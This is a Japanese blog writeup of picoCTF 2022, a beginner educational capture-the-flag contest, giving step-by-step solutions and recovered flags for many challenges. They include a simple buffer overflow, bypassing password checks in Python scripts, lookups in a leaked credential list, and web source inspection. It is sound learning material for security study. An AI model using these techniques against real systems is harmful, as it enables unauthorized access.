picoCTF 2022 writeup

picoCTF 2022

picoCTF 2022 に参加しました。

picoCTFは、カーネギーメロン大学が中学生・高校生向けに運営するCTFサイトです。中高生向けですが、中高生に限らず誰でも利用できます。

picoCTFでは、CTFの大会が毎年行われています。中高生向けだけあって、世の大会の中でも難易度は低めで、初心者向けです。 picoCTF 2022は、2022年3月16日(日本時間)から2週間ほど開催されていました。

解けた問題のwriteupと、解けなかった問題の一部については試したことと感想を書いてみます。

サーバに接続する問題では、待ち受けているサーバのポート番号が変更されることがあるようです。 このページの記載は正しくない可能性があるので、ポート番号については実際の問題文を参照してください。

一時非公開化してました

writeupを書いていましたが、どうやら賞金獲得者に提出が求められる(可能性がある)writeupが集まるまでは公開しないほうがいいかもしれないようだったので、一時的に非公開としていました。 公式discordサーバを覗いてみたところ、もう解禁されているようなので、再度公開します。 (たぶん、writeupの公開を控えろというアナウンスも解禁のアナウンスもdiscordでしかされていない上に、discordにそういうアナウンスがあるので見るべきだというような情報はどこにもないんじゃないかと思うのですが、見逃しているだけでしょうか?)

basic-file-exploit

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!

Connect to the program with netcat:

$ nc saturn.picoctf.net 49700

The program's source code with the flag redacted can be downloaded here.

まずは指示通りのコマンドでサーバに接続していろいろ試してみると、

  • 何かフレーズをデータベースに書き込む機能
    • フレーズを書き込むと、その登録番号のようなものが返ってきます。
  • 書き込んだフレーズを、番号を指定して表示する機能

があるようです。

問題文の横のヒントには、「数値の代わりに文字列を渡してみたら?」というようなことが書かれています。 ソースコードも与えられていますが、いったん読まずにそのあたりを試してみると、以下の通りうまくいきました。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ nc saturn.picoctf.net 49700
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
a
a
Please enter the length of your data:
1
1
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
foobar
foobar
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_9F68795F}

フレーズを表示する機能で、番号として数値に変換できない文字列を指定するとフラグが表示されるようです。

basic-mod1

We found this weird message being passed around on the servers, we think we have a working decrpytion scheme.

Download the message here.

Take each number mod 37 and map it to the following character set: 0-25 is the alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore.

Wrap your decrypted message in the picoCTF flag format (i.e. picoCTF{decrypted_message})

指示通りに数値を文字に変換します。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ python
>>> li = map(int, '128 63 131 198 262 110 309 73 276 285 316 161 151 73 219 150 145 217 103 226 41 255'.split())
>>> li = [n % 37 for n in li]
>>> li = [chr(ord('A')+n) if n<=25 else f'{n-26}' if n<=35 else '_' for n in li]
>>> print(''.join(li))
R0UND_N_R0UND_8C863EE7

それらしい文字列になりました。 あとは形式を整えて picoCTF{R0UND_N_R0UND_8C863EE7} がフラグです。

basic-mod2

A new modular challenge!

Download the message here.

Take each number mod 41 and find the modular inverse for the result. Then map to the following character set: 1-26 are the alphabet, 27-36 are the decimal digits, and 37 is an underscore.

Wrap your decrypted message in the picoCTF flag format (i.e. picoCTF{decrypted_message})

指示通りに数値を文字に変換します。 基数を41として modular inverseをとるところは、慣れていないと難解かもしれませんが、Pythonpow 関数を使うと簡単に計算できます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ python
>>> li = map(int, '350 372 192 354 139 337 67 311 392 338 241 414 180 277 379 294 128 117 250 404 336 350 386'.split())
>>> li = [pow(n, -1, 41) for n in li]
>>> li = [chr(ord('A')+n-1) if n<=26 else f'{n-27}' if n<=36 else '_' for n in li]
>>> print(''.join(li))
1NV3R53LY_H4RD_F6747912

あとは形式を整えて picoCTF{1NV3R53LY_H4RD_F6747912} がフラグです。

buffer overflow 0

Smash the stack

Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:

nc saturn.picoctf.net 55986

実はバッファオーバーフローについては何も知りません。 長い文字列を渡されることを考慮していない関数に長い文字列を渡すとまずいことが起こる、という程度の認識です。 とりあえず試してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ nc saturn.picoctf.net 55986
aInput: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_ee2fd2b1}

フラグが表示されちゃいました。 細かいことは何もわかりません。

credstuff

We found a leak of a blackmarket website's login credentials. Can you find the password of the user cultiris and successfully decrypt it?

Download the leak here.

The first user in usernames.txt corresponds to the first password in passwords.txt. The second user corresponds to the second password, and so on.

cultiris というユーザのパスワードがフラグになっているようです。

情報として usernames.txtpasswords.txt が与えられます。 usernames.txt の1行目のユーザのパスワードは passwords.txt の1行目に対応し、2行目は2行目に対応し、…ということになっています。

まずは cultirix に対応するパスワードを探してみます。 探し方は、単にテキストとして何行目にあるかを調べるのが早いと思います。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ tar xf leak.tar
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ cat -n leak/usernames.txt | grep cultiris
   378  cultiris
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ cat -n leak/passwords.txt | grep 378
   378  cvpbPGS{P7e1S_54I35_71Z3}

これはROT13でエンコードされています。 ROT13はvimエンコードできます。(選択して g?picoCTF{C7r1F_54V35_71M3}

CVE-XXXX-XXXX

Enter the CVE of the vulnerability as the flag with the correct flag format:

picoCTF{CVE-XXXX-XXXXX} replacing XXXX-XXXXX with the numbers for the matching vulnerability.

The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.

"CVE 2021 windows spooler service" でgoogle検索すると、問題文の脆弱性CVE-2021-34527 であることがわかります。

Enhance!

Download this image file and find the flag.

Download image file

svg形式の画像が与えられます。 とりあえずテキストとして表示してみると、

<text
       xml:space="preserve"
       style="font-style:normal;font-weight:normal;font-size:0.00352781px;line-height:1.25;font-family:sans-serif;letter-spacing:0px;word-spacing:0px;fill:#ffffff;fill-opacity:1;stroke:none;stroke-width:0.26458332;"
       x="107.43014"
       y="132.08501"
       id="text3723"><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.08501"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3748">p </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.08942"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3754">i </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.09383"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3756">c </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.09824"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3758">o </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.10265"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3760">C </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.10706"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3762">T </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.11147"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3764">F { 3 n h 4 n </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.11588"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3752">c 3 d _ 5 8 b d 3 4 2 0 }</tspan></text>

と、各tpan要素にそれらしい文字列が含まれています。 これらをつないでみると picoCTF{3nh4nc3d_58bd3420} となりました。

file-run1

A program has been provided to you, what happens if you try to run it on the command line?

Download the program here.

指示通り実行してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ chmod +x run
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ ./run
The flag is: picoCTF{U51N6_Y0Ur_F1r57_F113_5578e314}

file-run2

Another program, but this time, it seems to want some input. What happens if you try to run it on the command line with input "Hello!"?

Download the program here.

指示通り実行してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ chmod +x run2
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ ./run2
Run this file with only one argument.
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ ./run2 Hello!
The flag is: picoCTF{F1r57_4rgum3n7_981abfb5}

File types

This file was found among some files marked confidential but my pdf reader cannot read it, maybe yours can.

You can download the file from here.

Flag.pdfというファイルが与えられますが、pdf形式のファイルではありません。 fileコマンドで確認してみると、shell archive textという種類のファイルのようです。 shell archive textを知らなかったので調べてみると、シェルスクリプトとして実行することで展開できるアーカイブファイルのようです。

sharutils をインストールしてから実行すると、flagというファイルが生成されました。 これを再びfileコマンドで確認すると、今度はarでアーカイブされたファイルです。

・・・といちいち書きたくなくなるくらい、

  • fileコマンドでファイルの種類を調べる
  • もしそれを展開するのに必要なツールがなければインストールする
  • 展開する

を繰り返しました。この間のhistoryだけ貼っておきます。 (全く関係ないコマンドや、後から振り返って不要だったと思われるコマンドは削っています。もしかしたら必要なものまで削っていたり、不要なものが混ざっていたりするかもしれません)

$ wget https://artifacts.picoctf.net/c/327/Flag.pdf
$ file Flag.pdf
$ sudo apt install sharutils
$ bash Flag.pdf
$ ls
$ file flag
$ mv flag flag.ar
$ ar -x flag.ar
$ ls
$ file flag
$ mv flag flag.cpio
$ cpio -idv < flag.cpio
$ ls
$ mv flag flag.bzip2
$ bunzip2 flag.bzip2
$ ls
$ file flag.bzip2.out
$ mv flag.bzip2.out flag.gz
$ mv flag.gzip flag.gz
$ gunzip flag.gz
$ ls
$ file flag
$ sudo apt install lzip
$ mv flag flag.lz
$ lzip -d flag.lz
$ ls
$ file flag
$ mv flag flag.lz4
$ lz4 -d flag.lz4
$ ls
$ file flag
$ mv flag flag.lzma
$ lzma -d flag.lzma
$ ls
$ file flag
$ sudo apt install lzop
$ mv flag flag.lzop
$ lzop -d flag.lzop
$ ls
$ file flag
$ mv flag flag.lzip
$ lzip -d flag.lzip
$ ls
$ file flag.lzip.out
$ mv flag.lzip.out flag.xz
$ xz -d flag.xz
$ ls
$ file flag

ここでようやく、

$ file flag
flag: ASCII text

と表示されます。 内容は

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/file-types$ cat flag
7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f
6630725f3062326375723137795f35613833373565307d0a

謎の16進表記の数値2つです。 おそらく文字列をエンコードして16進表記しただけだろうと予想して、文字列化してみます。

個人的にはこういうときは、 pycryptodomelong_to_bytes を使うのがおすすめです。 また、pip環境を汚さないために、pipenvを使うのもおすすめです。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ pipenv install pycryptodome
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ pipenv run python
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(0x7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f)
b'picoCTF{f1len@m3_m@n1pul@t10n_'
>>> long_to_bytes(0x6630725f3062326375723137795f35613833373565307d0a)
b'f0r_0b2cur17y_5a8375e0}\n'

それらしい文字列になりました。 これをつなげて、 picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_5a8375e0} がフラグです。

この問題の感想

picoCTFが初心者にもとっつきやすいCTF大会を開催してくれるのは本当にありがたいことで、その点については心から感謝している、という大前提がありながらも、ですが。。 この問題については、やや批判的な感想を付けておきます。

最後のステップは、私はたまたま抵抗なく解決できましたが、このレベルでは別々の問題にしたほうがよさそうな印象を受けました。 多段階のアーカイブを展開していくのと、数値にエンコードされた文字列をデコードするのは全く関係のない操作です。 このレベルの問題でその2つの課題を組み合わせるのは、少なくとも必然性がなく、おそらく教育的な効果も少ないと思います。

また、数値から文字列へのデコードについては完全にノーヒントで、これを初心者向けの、そこそこ長い操作が必要な問題の最後のステップに持ってくるのは、悪く言えば「ただのいじわる」であるように感じます。

GDB Test Drive

Can you get the flag?

Download this binary.

Here's the test drive instructions:

  • $ chmod +x gdbme
  • $ gdb gdbme
  • (gdb) layout asm
  • (gdb) break *(main+99)
  • (gdb) run
  • (gdb) jump *(main+104)

とりあえず深く考えずに、指示された通りに実行してみます。

$ chmod +x gdbme
$ gdb gdbme
(gdb) layout asm
(gdb) break *(main+99)
(gdb) run
(gdb) jump *(main+104)
Continuing at 0x55555555532f.
picoCTF{d3bugg3r_dr1v3_93b87433}
[Inferior 1 (process 4063) exited normally]

フラグが表示されました。 意味は全くわかっていません。

includes

Can you get the flag?

Go to this website and see what you can discover.

Webサイトからフラグを探せばいいようです。 ブラウザでWebサイトを開き、開発者ウィンドウからソースを確認します。

style.csspicoCTF{1nclu51v17y_1of2_ が、 script.jsf7w_2of2_f4593d9d} が、 それぞれコメントとして含まれていました。 これをつなげて、 picoCTF{1nclu51v17y_1of2_f7w_2of2_f4593d9d} がフラグです。

Inspect HTML

Can you get the flag?

Go to this website and see what you can discover.

includes と同様に、開発者ウィンドウでソースを確認すると、 HTMLのソースにフラグが書いてありました。

 <!--picoCTF{1n5p3t0r_0f_h7ml_dd513514}-->

Local Authority

Can you get the flag?

Go to this website and see what you can discover.

ログイン画面が与えられます。 開発者ウィンドウを開いてソースを見ていると、 何らかの(間違った)ユーザ名とパスワードでログインを試みたとき、以下のスクリプトがローカルで実行されていることがわかります。

function checkPassword(username, password)
{
  if( username === 'admin' && password === 'strongPassword098765' )
  {
    return true;
  }
  else
  {
    return false;
  }
}

このスクリプト以外は詳しく読んでいませんが、ここに書かれているユーザ名 admin とパスワード strongPassword098765 でログインを試してみると、フラグが表示されます。

picoCTF{j5_15_7r4n5p4r3n7_6309e949}

Lookey here

Attackers have hidden information in a very large mass of data in the past, maybe they are still doing it.

Download the data here.

とても長いテキストファイルが与えられます。 フラグがそのまま書かれていることを期待して、 picoCTF を検索してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ cat anthem.flag.txt | grep picoCTF
      we think that the men of picoCTF{gr3p_15_@w3s0m3_429334b2}

そのまま書いてありました。

morse-code

Morse code is well known. Can you decrypt this?

Download the file here.

Wrap your answer with picoCTF{}, put underscores in place of pauses, and use all lowercase.

モールス信号の音声ファイルが与えられます。 オンラインのデコーダを探すと https://morsecode.world/international/decoder/audio-decoder-adaptive.html が見つかったので、これを使ってデコードすると WH47 H47H 90D W20U9H7 となりました。

これを指示通りに変換して、 picoCTF{WH47_H47H_90D_W20U9H7} がフラグです。

Packets Primer

Download the packet capture file and use packet analysis software to find the flag.

  • Download packet capture

パケットキャプチャをWiresharkで開いてみると、それらしい文字列が含まれたパケットがあります。

p i c o C T F { p 4 c k 3 7 _ 5 h 4 r k _ 7 d 3 2 b 1 d e }

何の通信かはよくわかりませんが、Wiresharkが勝手に入れてくれるスペースを除いた picoCTF{p4ck37_5h4rk_7d32b1de} がフラグです。

(スペースは入れてくれないほうがいいんだけどな、と思うんですが、これをWiresharkからスペースなしでコピーする方法はあるんでしょうか?)

patchme.py

Can you get the flag?

Run this Python program in the same directory as this encrypted flag.

暗号化されたフラグと、それを復号するPythonスクリプトが与えられます。 スクリプト内ではユーザの入力と何かの文字列を比較し、等しい場合には複合したフラグを表示しています。 これを無条件に表示するように変更し、実行します。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/patchme$ ls
flag.txt.enc  patchme.flag.py  patchme.flag.py.original
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/patchme$ diff patchme.flag.py.original patchme.flag.py
19,22c19
<     if( user_pw == "ak98" + \
<                    "-=90" + \
<                    "adfjhgj321" + \
<                    "sleuth9000"):
---
>     if True:
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/patchme$ python patchme.flag.py
Please enter correct password for flag:
Welcome back... your flag, user:
picoCTF{p47ch1ng_l1f3_h4ck_4d5af99c}

やはりパスワードの入力は求められますが(ここも削っておけばよかったと思います)、何を入力しても復号は行ってくれます。

rail-fence

A type of transposition cipher is the rail fence cipher, which is described here. Here is one such cipher encrypted using the rail fence with 4 rails. Can you decrypt it?

Download the message here.

Put the decoded message in the picoCTF flag format, picoCTF{decoded_message}.

rail fence cipherという暗号が使われており、暗号化のパラメータであるrail数は4だそうです。

rail fence cipherについては、問題文からリンクされているWikipediaのページに十分な情報がありました。 今回のようにrail数が4と分かっていれば簡単で、

.     .     .     .     .     .     .     .     .     .
 .   . .   . .   . .   . .   . .   . .   . .   . .   . .
  . .   . .   . .   . .   . .   . .   . .   . .   . .
   .     .     .     .     .     .     .     .     .

のような「軌道」に沿って、左上から横に1文字ずつ暗号文をあてはめることで解読できます。

暗号文は Ta _7N6D54hlg:W3D_H3C31N__510ef sHR053F38N43D28 i33___N2 なので、これを当てはめると

T     a     .     _     7     N     6     D     5     4
 h   l g   : W   3 D   _ H   3 C   3 1   N _   _ 5   1 0
  e f   . s   H R   0 5   3 F   3 8   N 4   3 D   2 8
   .     i     3     3     _     _     _     N     2

となります。(空白は読みやすさのため . としています。) これを左から順番に読んで、元のメッセージは The flag is: WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_55228140 となります。

形式だけ整えて、 picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_55228140} がフラグです。

Redaction gone wrong

Now you DON’T see me.

This report has some critical data in it, some of which have been redacted correctly, while some were not. Can you find an important key that was not redacted properly?

PDFをダウンロードし、中身を確認してみると、文書のうち何か所かが黒く塗りつぶされています。 問題文から推測すると、おそらく文字はそのまま残っており、上から黒く塗られているだけだと思いました。 Ctrl+Aで全選択、Ctrl+Cでコピーしてテキストエディタにペーストすると

Financial Report for ABC Labs, Kigali, Rwanda for the year 2021.
Breakdown - Just painted over in MS word.

Cost Benefit Analysis
Credit Debit
This is not the flag, keep looking
Expenses from the
picoCTF{C4n_Y0u_S33_m3_fully}
Redacted document.

となって、フラグが得られました。

Safe Opener

Can you open this safe?

I forgot the key to my safe but this program is supposed to help me with retrieving the lost key. Can you help me unlock my safe?

Put the password you recover into the picoCTF flag format like:

picoCTF{password}

プログラムを見てみると、

  • 入力をBase64エンコードして
  • その結果が cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz に一致するかどうかを確認

しているようです。 エンコードされているだけなので、デコードすれば想定された入力がわかります。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ echo cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz | base64 -d
pl3as3_l3t_m3_1nt0_th3_saf3

形式だけ整えて、 picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3} がフラグです。

Search source

The developer of this website mistakenly left an important artifact in the website source, can you find it?

The website is here

Webサイトのどこかにフラグが隠されているようです。 ヒントを見ると、Webサイトをローカルにミラーする方法があるようです。 知りませんでしたが、調べてみると、 wget -m でした。

あとはgrepで検索すると、素直にフラグが見つかります。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ wget -m http://saturn.picoctf.net:56488/
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ cd saturn.picoctf.net\:56488/
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/saturn.picoctf.net:56488$ grep -r picoCTF
css/style.css:/** banner_main picoCTF{1nsp3ti0n_0f_w3bpag3s_227d64bd} **/

Sleuthkit Intro

Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag.

Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

  • Download disk image
  • Access checker program: nc saturn.picoctf.net 52279

問題文に従います。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ wget https://artifacts.picoctf.net/c/114/disk.img.gz
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ gunzip disk.img.gz
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,190,50), startsector 2048, 202752 sectors
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ mmls disk.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000204799   0000202752   Linux (0x83)
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ nc saturn.picoctf.net 52279
What is the size of the Linux partition in the given disk image?
Length in sectors: 202752
202752
Great work!
picoCTF{mm15_f7w!}

substitution0

A message has come in but it seems to be all scrambled. Luckily it seems to have the key at the beginning. Can you crack this substitution cipher?

Download the message here.

https://math.dartmouth.edu/~awilson/tools/frequency_analysis.html このサイトを使いました。

  • 英文ではeの頻度が圧倒的に高い
  • それに続いてt, aあたりもかなり高頻度
  • 3文字で、eで終わって、よく使われている単語はほぼ間違いなくtheである

というあたりから始めて、わかるところから当てはまりそうな単語を復元していくと、最初の26文字はどうやら abcdefghijklmnopqrstuvwxyz であるらしいとわかります。 これを当てはめると、

abcdefghijklmnopqrstuvwxyz

hereupon legrand arose, with a grave and stately air, and brought me the beetle
from a glass case in which it was enclosed. it was a beautiful scarabaeus, and, at
that time, unknown to naturalists—of course a great prize in a scientific point
of view. there were two round black spots near one extremity of the back, and a
long one near the other. the scales were exceedingly hard and glossy, with all the
appearance of burnished gold. the weight of the insect was very remarkable, and,
taking all things into consideration, i could hardly blame jupiter for his opinion
respecting it.

the flag is: picoctf{5ub5717u710n_3v0lu710n_aa1cc2b7}

となります。

substitution1

A second message has come in the mail, and it seems almost identical to the first one. Maybe the same thing will work again.

Download the message here.

substitution0 と同じサイトを使いました。

  • IJN が頻出しているのでおそらく the
  • R も頻出しているのでおそらく a
  • eaWh はおそらく each で、 Wc
  • aAe はおそらく are で、 Ar

あたりから初めて、地道に埋めていくと

ctfs (short for capture the flag) are a type of computer security competition.
contestants are presented with a set of challenges which test their creativity, technical (and googling) skills, and problem-solving ability.
challenges usually cover a number of categories, and when solved, each yields a string (called a flag) which is submitted to an online scoring service.
ctfs are a great way to learn a wide array of computer security skills in a safe, legal environment, and are hosted and played by many security groups around the world for fun and practice.
for this problem, the flag is: picoctf{fr3Vu3ncy_4774ck5_4r3_c001_b810dd84}

となりました。(改行は勝手に入れました) フラグに現れている V だけがまだ分かりませんが、これはさすがにfr3qu3ncy(frequency)だと思って良いでしょう。 利用したサイトでは元の文はすべて大文字、解読した文はすべて小文字で表示される仕様だったので、小文字のまま picoctf{fr3qu3ncy_4774ck5_4r3_c001_b810dd84} を入力してみましたが、これでもOKでした。

substitution2

It seems that another encrypted message has been intercepted. The encryptor seems to have learned their lesson though and now there isn't any punctuation! Can you still crack the cipher?

Download the message here.

substituion0 と同じサイトと、 https://www.boxentriq.com/code-breaking/frequency-analysis も使いました。

  • 3-gramを見ると VOX が多いので、これを the と仮定して続ける
  • tha の並びもそれなりに多いはずなので、それほど多くはないが VORtha と仮定してみると "thata"(おそらく "that a")や "thatthe" (おそらく"that the")が見つかったので、 VOX はおそらく the で、 R はおそらく a で正しい
  • bigramを見ると eP, CP, NP, aP が多い。おそらく Pr または n
  • CP, NP が多いことと、C, N はそれぞれ単独でも多いことから、 o, i のどちらか
  • P ( -> r or n) と C, N ( -> (o, i) or (i, o)) の組み合わせをいろいろ試してみると、 SoQMetitionU がやたらと登場している。これはどうやら competitions
  • ここで末尾を見てみると、 theBYaWispicoctB{n6F4m_4n41H515_15_73G10K5_B302B3A6} となっている。これの前半はどうやら the flag is picoCTF{

ここまで埋められれば、かなり意味をとりながら読めるようになります。 すべてをちゃんと読む必要はありませんが、単語に分けられる箇所は分けながら、まだわかっていないアルファベットを推測しながら読んでいくと、最終的には

there exist several other well established high school computer security competitions including cyber patriot and us cyber challenge
these competitions focus primarily on systems administration fundamentals which are very useful and marketable skills
however we believe the proper purpose of a high school computer security competition is not only to teach valuable skills but also to get students interested in and excited aboutcomputersciencedefensivecompetitionsareoftenlaboriousaffairsandcomedowntorunningchecklistsandexecutingconfigscriptsoffenseontheotherhandisheavilyfocusedonexplorationandimprovisationandoftenhaselementsofplaywebelieveacompetitiontouchingontheoffensiveelementsofcomputersecurityisthereforeabettervehiclefortechevangelismtostudentsinamericanhighschoolsfurtherwebelievethatanunderstandingofoffensivetechniquesisessentialformountinganeffectivedefenseandthatthetoolsandconfigurationfocusencounteredindefensivecompetitionsdoesnotleadstudentstoknowtheirenemyaseffectivelyasteachingthemtoactivelythinklikeanattackerpicoctfisanoffensivelyorientedhighschoolcomputersecuritycompetitionthatseekstogenerateinterestincomputerscienceamong high schoolers teaching them enough about computer security to pique their curiosity motivating them to explore on their own and enabling them to better defend their machines
the flag is picoctf{n6r4m_4n41y515_15_73d10u5_f302f3b6}

となりました。

transposition-trial

Our data got corrupted on the way here. Luckily, nothing got replaced, but every block of 3 got scrambled around! The first word seems to be three letters long, maybe you can use that to recover the rest of the message.

Download the corrupted message here.

メッセージを見てみると、最初のほうは "The flag is" 感があります。 最初の3文字は、 xyz -> zxy というルールで並び変えることで復元できそうです。 それ以降のブロックも(問題文にはmaybeとしか書かれていませんが)同じルールで復元できることを期待して、確認してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ python
>>> message = 'heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_VCDE4CE4}7'
>>> i = 0
>>> while i < len(message):
...     flag += message[i+2]+message[i]+message[i+1]
...     i += 3
...
>>> flag
'The flag is picoCTF{7R4N5P051N6_15_3XP3N51V3_ECDE4C74}'

復元できました。

unpackme.py

Can you get the flag?

Reverse engineer this Python program.

スクリプトを見てみると、何やら暗号化されたスクリプトを復号し、それを exec 関数で評価して実行しています。 execprint に置き換えて実行してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ ls | grep unpackme
unpackme.flag.py
unpackme.flag.py.original
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ diff unpackme.flag.py.original unpackme.flag.py
12c12
< exec(plain.decode())
---
> print(plain.decode())
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ pipenv run python unpackme.flag.py

pw = input('What\'s the password? ')

if pw == 'batteryhorse':
  print('picoCTF{175_chr157m45_8aef58d2}')
else:
  print('That password is incorrect.')

復号したスクリプトに直接フラグが含まれていました。

Vigenere

Can you decrypt this message?

Decrypt this message using this key "CYLAB".

ヴィジュネル暗号で、鍵 "CYLAB" を使って暗号化されたメッセージが与えられます。

https://cryptii.com/pipes/vigenere-cipher を使って復号すると、 picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_c481du5f} となりました。

bloat.py

Can you get the flag?

Run this Python program in the same directory as this encrypted flag.

まずは問題文に従って実行してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/bloat$ ls
bloat.flag.py  flag.txt.enc
wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/bloat$ python bloat.flag.py
Please enter correct password for flag: hogefuga
That password is incorrect

正しいパスワードを入力すればいいようです。 bloat.flag.py を見てみると、

a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "

としてアルファベットが羅列された文字列 a があって、スクリプトの内容は

def arg133(arg432):
  if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
    return True
  else:
    print(a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\
a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\
a[81]+a[68]+a[66]+a[83])
    sys.exit(0)

のように a を使った表現になっています。 とりあえずこの部分を、 a を使わない形に置き換えてみます。 どう置き換えるかは、実際にPythonに評価させてみるのが早いと思います。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/bloat$ python
>>> a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
...             "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
>>> a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]
'happychance'
>>> a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\
... a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\
... a[81]+a[68]+a[66]+a[83]
'That password is incorrect'

となるので、元のスクリプトを置き換えると次のようになります。

def arg133(arg432):
  if arg432 == 'happychance':
    return True
  else:
    print('That password is incorrect')
    sys.exit(0)

この関数は引数が 'happychance' のときに True を返し、そうでなければ 'That password is incorrect' と出力してスクリプトを終了します。 ほかの部分も読んでみないと詳しくはわかりませんが、パスワードを聞かれたときにこの 'happychance' を入力してみる価値はありそうです。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/bloat$ python bloat.flag.py
Please enter correct password for flag: happychance
Welcome back... your flag, user:
picoCTF{d30bfu5c4710n_f7w_c47f9e9c}

フラグが表示されました。

buffer overflow 1

(解けてません)

Control the return address

Now we're cooking! You can overflow the buffer and return to the flag function in the program.

You can view source here. And connect with it using nc saturn.picoctf.net xxxxx

